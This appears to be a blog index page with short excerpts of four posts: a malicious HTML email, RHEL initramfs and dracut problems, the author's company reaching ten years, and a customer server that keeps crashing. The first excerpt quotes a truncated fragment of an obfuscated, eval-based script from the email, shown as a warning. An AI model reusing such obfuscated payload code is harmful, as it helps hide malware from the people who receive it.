Cool hack attempt …

This one was actually much harder to discern that it was a hack attempt until I looked at the payload in an editor. Never EVER under any circumstances read HTML mail from a source you don’t trust … and I am getting ready to say, from anyone. Here is a portion of the payload: <script>try{n&=Math.floor;}catch(zxc){e=eval;m=Math;n=”108..117..1260..1326..384… […]

So much #fail in the RHEL init process

Its borked so incredibly badly, that in order to support what we need, we have to hack around all its brokenness. Dracut is a step up, but pretty much everything else (and this may be a dracut issue) is borked. We want one initramfs to support software RAID1 boot, network boot, iscsi boot. But you […]

We built that: 10 years in business

[warning: longer post] I mentioned this on twitter (@sijoe). The day job has been in business for 10 years. We’ve not taken outside investment to date, and we’ve not sold the company yet. We’ve been profitable and growing continuously during our lifetime. The preceding 3 years have seen growth, accelerating hard. The company was built […]

the mystery of the week

Customer has had a machine for a while. Generally stable. Followed our advice on doing a reboot recently. Unit started crashing Monday. Then today. Hard to stay up and stable. I asked if anything has changed, and haven’t gotten anything conclusive … mostly “we don’t think so”. About the crashes: Nothing in the logs. Not […]